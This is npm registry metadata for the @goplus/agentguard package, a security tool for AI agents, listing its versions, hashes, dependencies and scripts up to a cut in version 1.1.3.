{"_id":"@goplus/agentguard","_rev":"100-db4f419ce4b6c872d349dfeabd501a4e","name":"@goplus/agentguard","dist-tags":{"latest":"1.2.4","beta":"1.2.4-beta.5"},"versions":{"1.0.0":{"name":"@goplus/agentguard","version":"1.0.0","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.0","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"b03d36008940f22de2e82efb7a0a9cb5453e6aa5","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.0.tgz","fileCount":131,"integrity":"sha512-C96QgtKMjczVoVsCJP+m3TaQdo11jEXoH7og6NZenXPoOD2jay3tX4/e8aQrkwbbNrpFKzVHmtpEzCWKQw3ZqQ==","signatures":[{"sig":"MEUCIQD7t4gZeUOIaA/JByVxnK3bNfJVt3xyjXZtLo/06NhdbQIgEyYGAk2vGLs+xb0F1rsgfkXs90uoNMSJmZrc3YNbFR8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":334307},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"9651013f53db35b73b12432d3eb30b7130ad9d56","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.0_1770192316749_0.6939499234267728","host":"s3://npm-registry-packages-npm-production"}},"1.0.1":{"name":"@goplus/agentguard","version":"1.0.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"e341bb9f799d025f4e8854c6d4be5a92cb844947","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.1.tgz","fileCount":135,"integrity":"sha512-vDXNGpjXHUA+W0b5tgNhXw2tLjlCjJfLzEhoWmegq7+JJS+ULfJTaDLm0R8sNgOcWCPYWweNWofZ+FPs5hUFqg==","signatures":[{"sig":"MEYCIQCtfULt6CboWysx//v4JeKN+paWdYKd8hQjDeLlJuHksAIhAPSAKrQyc0EluoqG0R8eOfrPOdxZmu22p7P7Sjdpjcn6","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":351108},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"eaff61be3e618c915629cf945183d33552d7173a","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.1_1770270985162_0.6359267067571506","host":"s3://npm-registry-packages-npm-production"}},"1.0.2":{"name":"@goplus/agentguard","version":"1.0.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"73029a95d9ec4066c3a47f19d30a96e8d38dc006","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.2.tgz","fileCount":135,"integrity":"sha512-cQiUKf83p1dT4xtsQmTObc21la6oxd+DHCKh1kkj7jYacy5VI8tKyQygbmBC92l5e36LCV6d1grweEkngRBAfg==","signatures":[{"sig":"MEUCIQDjHpI9FC4PAWmTFeZLsrvsrK5CpeuT6PA8QAedZpUJ8wIgT+jaxf+DM/HaXFTr0aXXNMzSIc6KnIo6T4mS9qRuu2E=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":362977},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"352f9c4f2c81f53df0afce12ca60aab18db25c06","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.2_1770357671697_0.4987233874646688","host":"s3://npm-registry-packages-npm-production"}},"1.0.4":{"name":"@goplus/agentguard","version":"1.0.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"18853acad3ee9b4690b0c60bdae103d25b10b6c1","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.4.tgz","fileCount":179,"integrity":"sha512-IbmkziPmtbwxZlvXomOhp6nEtTSRMNp8uzOOXlmlzEmtSuM1NUWWgrW4XtZx/7QSRs0bXRDmHwLNuogcMsbmxQ==","signatures":[{"sig":"MEUCIQDWcVgaLQVdBERvaeADziyUH7r9QBcI6WNqI++FlbKJIgIgYMgtyHTdKjmA+PoJnBkAMTZynkoiqaOTvtstNOZGFD8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":520638},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"42ad4f4e4113a8c0cedc76678dc03c9e1a4a2f65","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.4_1771416328004_0.41916924675911704","host":"s3://npm-registry-packages-npm-production"}},"1.0.6":{"name":"@goplus/agentguard","version":"1.0.6","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.6","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"6035e50d6a4edb53cd771f7db4488e0cd3eaf91c","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.6.tgz","fileCount":190,"integrity":"sha512-LoZrDNGi20bleHuzj+KE+lQLmLJI4zqCfUsaF/gKmuNjb2Mb2Qzc/VIIxBRiq7yRXSYhpV6iWHYWCMYrF8PK+g==","signatures":[{"sig":"MEUCIF2Hvx30wb/cjAyBj5vjKVligefemjRCZ/D0Y0kd5oKwAiEA6XZyANz4KBS7w1WVr0K2zzzAGTeFTdqqjiJaqkwuv7g=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":586266},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"3d9886062e6071da4ee868d0ab4952300e89732f","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.6_1773026973018_0.17437493731196785","host":"s3://npm-registry-packages-npm-production"}},"1.0.7":{"name":"@goplus/agentguard","version":"1.0.7","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.7","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"c69a68fde161213c184372d171449219ed022df3","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.7.tgz","fileCount":190,"integrity":"sha512-rfoMh1Xq95i/JiMC/TihxvbgkUxFxgnvPs4wImV+0sYKxP2s4zf7K7b765LbELea5Ds223SvEFxHNJX3yhW8MQ==","signatures":[{"sig":"MEUCIQCWs1nGi+61GKdXRGN7rGQhVkaKZuaehElSEhrLxCGx0QIgdh7ShR3xV04ufCfykKMA2SKf4oTkuQ6QqjZ/VAwRdNc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":586330},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"1ef12d56237a4d815bb90356e410d16e01b8b6b3","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.7_1773397283331_0.6480145648247717","host":"s3://npm-registry-packages-npm-production"}},"1.0.9":{"name":"@goplus/agentguard","version":"1.0.9","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.9","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"65e42e63c040f9b4b8be047f582d32554d53e1cb","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.9.tgz","fileCount":193,"integrity":"sha512-vSHwkmYxo46PEjlv5sWKy3FO2wCgf/miWrtooKb9/o7f3ftnJ1ONn1/fkRakBCFkv6wMV2RJJ0pZonpqrSCTXw==","signatures":[{"sig":"MEUCIQDJwV9ir9zDMKoAAVS0W4zAeV3WZ7t4p5ltvcTK3Tq2nwIgOGeRpVK/Gz+X0/jwwDeSpA73wD8dGyDLitgTVFdYNvE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":612171},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"4790ef7e9fde23cd47c6eff02a5dd3278062a115","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.9_1773830293288_0.1141875526677123","host":"s3://npm-registry-packages-npm-production"}},"1.0.10":{"name":"@goplus/agentguard","version":"1.0.10","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.10","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"46ab64c0096c922595665adcec3645c915045286","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.10.tgz","fileCount":194,"integrity":"sha512-CSaSpL6wSVDEkyQvm9ZlvKA9ObLcRRGp7ZVu6dsrUW3vJQR4IiU4V8CLYckMiZ07T3li108IsJ9UvWCfckR/EA==","signatures":[{"sig":"MEUCIQCfwgVx8goLFYQvYqmHEUyv18aRfjkDGJT/S2jQpug2wgIgUo3C+ZVYLZX2ThvVdl0XgKALEBrNezFH7mAwUP4Hgoo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":713529},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"f5254fd91757492ea96482163401dc68b3f2a877","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.10_1774248940306_0.62531884114378","host":"s3://npm-registry-packages-npm-production"}},"1.0.11":{"name":"@goplus/agentguard","version":"1.0.11","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.11","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"b3e557b4be2764dd812c1f1b56eff5b41e025589","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.11.tgz","fileCount":194,"integrity":"sha512-n67nDXZqGJb33LH7Wk15wYYGSiWeC+kvbilErz3yDtQQIF0u2cs3tmxIMhIMJ+PdJNnqOBrxPnX8i6fem7CkSg==","signatures":[{"sig":"MEYCIQC0CVw0zCOdiWZpzRsecNLjB78rI/a+yCJQadhiLELdJgIhAK35G9vfeRVLuZQ0oaoD1F5nXUwXI0jkuTbNzGVGmoie","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":715275},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"7cf9734c1e47ceb1f3f067be3918a5c4435cc7fa","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.11_1774257600253_0.04918990834984549","host":"s3://npm-registry-packages-npm-production"}},"1.0.12":{"name":"@goplus/agentguard","version":"1.0.12","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.12","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"bee04b02efe12f53a09cf9dc649a8426251aa0a4","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.12.tgz","fileCount":194,"integrity":"sha512-EFDcMGvOE3ON1jkK9CsFpZvdLxhBkVO9vhM5HrC0NpN/Tlm7v9e2N9z9BPHdcw09rLNPame+D2dJPcedsxoDhw==","signatures":[{"sig":"MEYCIQCQM2JVPWUUWuK7PVo/f9fvLwBmxMLCDr91f/KcGFfHBAIhAOyurSLFdsCVOrGAUfcoIc9jrzdDVt/YvwPt7bP/zYhl","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":716045},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"fd147ad26969c4aabdf4e39f08907666325772f8","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.0","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"^3.25.32","glob":"^10.3.10","axios":"^1.6.7","commander":"^12.0.0","@modelcontextprotocol/sdk":"^1.0.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"^5.3.3","@types/node":"^20.11.24"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.12_1774504366554_0.8759840238902299","host":"s3://npm-registry-packages-npm-production"}},"1.0.14":{"name":"@goplus/agentguard","version":"1.0.14","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.0.14","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"2100c9106026c7d18de0f1cff80bd43469abc6a0","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.0.14.tgz","fileCount":194,"integrity":"sha512-bGR/ncgkJ9Ce2XzDGGmE/853BNJhWv9KizWjaAvWm4X022SANmpY1Uj6qpCntfwIqrrv03xB8vA8tUPLD0GU8A==","signatures":[{"sig":"MEQCIFW5nSsug40L+A5hNiUrcEZb2JOfQ4BQulIURicA3o9mAiBULcWYDnD3giklb+8gZjE/XRKa++HX0v2BUDg+TUZTSw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":716039},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"5ee1d04fd503aef7419887211c8915d50a7fd970","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"11.12.1","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"22.12.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.0.14_1774935805024_0.6417714736319855","host":"s3://npm-registry-packages-npm-production"}},"1.1.1":{"name":"@goplus/agentguard","version":"1.1.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/mcp-server.js"},"dist":{"shasum":"9878b4a7aaa95ec0d3a888fc81e213182305d68d","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.1.tgz","fileCount":194,"integrity":"sha512-hcSeLCusenpo6+7hGl7ypPTa8RlGv0Qpk37S+E476UcS2Y4uYcCvKvle66ZEaXI6Ar38HdC415yZ6AoMTeIdtg==","signatures":[{"sig":"MEUCIAveMfeWbz62EbykTXoBFhFFWCJQ4fGIbC1pQrOvRWzOAiEAlq7pMkuR7RIz6jMgMMIrTTIxCraN+dHhKityjFAcqEM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":725679},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"1a1a8b9fcb3ff3789fd28f9a9dcb785270a276b4","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","prepublishOnly":"npm run build"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"11.12.1","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"25.9.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","axios":"1.14.0","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.1.1_1776415812678_0.7499394051595876","host":"s3://npm-registry-packages-npm-production"}},"1.1.3":{"name":"@goplus/agentguard","version":"1.1.3","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.1.3","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dist":{"shasum":"60f99c80e73f786406a4d0c333a876874ca8c3c8","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.1.3.tgz","fileCount":270,"integrity":"sha512-Zj4rtT4JGU6sgZs9R/E6Ju75Djb2A1wbxsSuBrSKACybbMldK1/adeXOPuIEVU1h6XRq1iqtk16S5sEhkyfvAQ==","signatures":[{"sig":"MEUCIAtGZz/L7eq8kCe2I/Awoy00Zw2LnouLZtCk0SqCOOfjAiEAte8Nj3fqkn7pJA8UsjXNp6Iq3PgkJHGHUmszbwCu98U=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":909929},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"fd035f042b62a52a4d70a336ab11caa7ffae4cf6","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","start":"node dist/mcp-server.js","postinstall":"node dist/postinstall.js || true","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/index.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"10.9.7","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust 